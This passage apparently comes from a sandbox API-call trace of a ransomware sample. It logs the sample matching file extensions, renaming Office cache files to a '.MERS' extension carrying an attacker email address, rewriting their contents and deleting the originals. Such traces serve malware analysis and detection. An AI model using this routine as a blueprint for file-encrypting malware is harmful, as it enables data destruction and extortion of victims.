returned 4 [0047.577] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0047.577] lstrlenW (lpString=".bz2") returned 4 [0047.577] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0047.577] lstrlenW (lpString=".7z") returned 3 [0047.577] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0047.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.577] lstrlenW (lpString=".dbf") returned 4 [0047.577] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0047.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.577] lstrlenW (lpString=".1cd") returned 4 [0047.577] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0047.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.577] lstrlenW (lpString=".jpg") returned 4 [0047.577] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0047.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.577] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.577] lstrlenW (lpString=".doc") returned 4 [0047.577] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0047.577] lstrlenW (lpString=".docx") returned 5 [0047.577] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0047.577] lstrlenW (lpString=".pdf") returned 4 [0047.577] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0047.577] lstrlenW (lpString=".xls") returned 4 [0047.577] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0047.578] lstrlenW (lpString=".xlsx") returned 5 [0047.578] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0047.578] lstrlenW (lpString=".ppt") returned 4 [0047.579] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0047.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.579] lstrlenW (lpString=".zip") returned 4 [0047.579] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0047.579] lstrlenW (lpString=".rar") returned 4 [0047.579] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0047.579] lstrlenW (lpString=".bz2") returned 4 [0047.579] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0047.579] lstrlenW (lpString=".7z") returned 3 [0047.579] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0047.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.579] lstrlenW (lpString=".dbf") returned 4 [0047.579] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0047.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.579] lstrlenW (lpString=".1cd") returned 4 [0047.579] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0047.579] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.579] lstrlenW (lpString=".jpg") returned 4 [0047.579] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0047.580] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0047.580] lstrlenW (lpString="osetup.dll") returned 10 [0047.580] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.580] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7378792) returned 1 [0047.580] CloseHandle (hObject=0x180) returned 1 [0047.580] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0047.580] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.580] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0047.581] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0047.581] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0047.581] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.581] ReadFile (in: hFile=0x180, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.605] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.605] ReadFile (in: hFile=0x180, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.690] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.690] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0047.690] ReadFile (in: hFile=0x180, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.728] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.728] WriteFile (in: hFile=0x180, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0047.743] SetEndOfFile (hFile=0x180) returned 1 [0047.743] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x43e0068 [0047.898] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.898] WriteFile (in: hFile=0x180, lpBuffer=0x43e0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x43e0068*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.900] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.900] WriteFile (in: hFile=0x180, lpBuffer=0x43e0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x43e0068*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.903] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0047.903] WriteFile (in: hFile=0x180, lpBuffer=0x43e0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x43e0068*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.904] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x43e0068 | out: hHeap=0x5f0000) returned 1 [0047.904] CloseHandle (hObject=0x180) returned 1 [0047.904] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0047.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.905] lstrlenW (lpString=".doc") returned 4 [0047.905] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.905] lstrlenW (lpString=".docx") returned 5 [0047.905] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0047.905] lstrlenW (lpString=".pdf") returned 4 [0047.905] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.905] lstrlenW (lpString=".xls") returned 4 [0047.905] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.905] lstrlenW (lpString=".xlsx") returned 5 [0047.905] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0047.905] lstrlenW (lpString=".ppt") returned 4 [0047.905] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.905] lstrlenW (lpString=".zip") returned 4 [0047.905] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.905] lstrlenW (lpString=".rar") returned 4 [0047.905] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.905] lstrlenW (lpString=".bz2") returned 4 [0047.905] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.905] lstrlenW (lpString=".7z") returned 3 [0047.905] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.905] lstrlenW (lpString=".dbf") returned 4 [0047.905] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.905] lstrlenW (lpString=".1cd") returned 4 [0047.905] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.905] lstrlenW (lpString=".jpg") returned 4 [0047.905] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.905] lstrlenW (lpString=".doc") returned 4 [0047.905] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0047.906] lstrlenW (lpString=".docx") returned 5 [0047.906] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0047.906] lstrlenW (lpString=".pdf") returned 4 [0047.906] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0047.906] lstrlenW (lpString=".xls") returned 4 [0047.906] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0047.906] lstrlenW (lpString=".xlsx") returned 5 [0047.906] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0047.906] lstrlenW (lpString=".ppt") returned 4 [0047.906] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0047.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.906] lstrlenW (lpString=".zip") returned 4 [0047.906] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0047.906] lstrlenW (lpString=".rar") returned 4 [0047.906] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0047.906] lstrlenW (lpString=".bz2") returned 4 [0047.906] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0047.906] lstrlenW (lpString=".7z") returned 3 [0047.906] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0047.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.906] lstrlenW (lpString=".dbf") returned 4 [0047.906] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0047.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.906] lstrlenW (lpString=".1cd") returned 4 [0047.906] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0047.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0047.906] lstrlenW (lpString=".jpg") returned 4 [0047.906] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0047.907] lstrcmpiW (lpString1=".xrm-ms", lpString2=".MERS") returned 1 [0047.907] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0047.907] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0047.922] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=715834) returned 1 [0047.922] CloseHandle (hObject=0x1a4) returned 1 [0047.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0047.922] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0047.922] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.922] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0047.922] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.923] GetLastError () returned 0x0 [0047.923] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0048.029] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0048.042] ReadFile (in: hFile=0x1a4, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.042] WriteFile (in: hFile=0x1f0, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x104, lpOverlapped=0x0) returned 1 [0048.042] SetEndOfFile (hFile=0x1f0) returned 1 [0048.043] CloseHandle (hObject=0x1f0) returned 1 [0048.043] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.043] SetEndOfFile (hFile=0x1a4) returned 1 [0048.048] CloseHandle (hObject=0x1a4) returned 1 [0048.048] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0048.048] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0048.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.049] lstrlenW (lpString=".doc") returned 4 [0048.049] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0048.049] lstrlenW (lpString=".docx") returned 5 [0048.049] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0048.049] lstrlenW (lpString=".pdf") returned 4 [0048.049] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0048.049] lstrlenW (lpString=".xls") returned 4 [0048.049] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0048.049] lstrlenW (lpString=".xlsx") returned 5 [0048.049] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0048.049] lstrlenW (lpString=".ppt") returned 4 [0048.049] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0048.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.049] lstrlenW (lpString=".zip") returned 4 [0048.049] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0048.049] lstrlenW (lpString=".rar") returned 4 [0048.049] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0048.049] lstrlenW (lpString=".bz2") returned 4 [0048.049] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0048.049] lstrlenW (lpString=".7z") returned 3 [0048.049] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0048.049] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.049] lstrlenW (lpString=".dbf") returned 4 [0048.049] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0048.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.050] lstrlenW (lpString=".1cd") returned 4 [0048.050] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0048.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.050] lstrlenW (lpString=".jpg") returned 4 [0048.050] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0048.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.050] lstrlenW (lpString=".doc") returned 4 [0048.050] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0048.050] lstrlenW (lpString=".docx") returned 5 [0048.050] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0048.050] lstrlenW (lpString=".pdf") returned 4 [0048.050] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0048.050] lstrlenW (lpString=".xls") returned 4 [0048.050] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0048.050] lstrlenW (lpString=".xlsx") returned 5 [0048.050] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0048.050] lstrlenW (lpString=".ppt") returned 4 [0048.050] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0048.050] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.050] lstrlenW (lpString=".zip") returned 4 [0048.050] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0048.050] lstrlenW (lpString=".rar") returned 4 [0048.108] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0048.108] lstrlenW (lpString=".bz2") returned 4 [0048.108] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0048.108] lstrlenW (lpString=".7z") returned 3 [0048.108] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0048.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.109] lstrlenW (lpString=".dbf") returned 4 [0048.109] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0048.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.109] lstrlenW (lpString=".1cd") returned 4 [0048.109] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0048.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0048.109] lstrlenW (lpString=".jpg") returned 4 [0048.109] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0048.109] lstrcmpiW (lpString1=".exe", lpString2=".MERS") returned -1 [0048.109] lstrlenW (lpString="setup.exe") returned 9 [0048.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0048.109] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1377656) returned 1 [0048.109] CloseHandle (hObject=0x220) returned 1 [0048.109] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0048.109] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.109] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0048.110] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.110] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.110] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0048.110] GetLastError () returned 0x0 [0048.110] ReadFile (in: hFile=0x220, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0048.154] WriteFile (in: hFile=0x224, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0048.559] ReadFile (in: hFile=0x220, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: 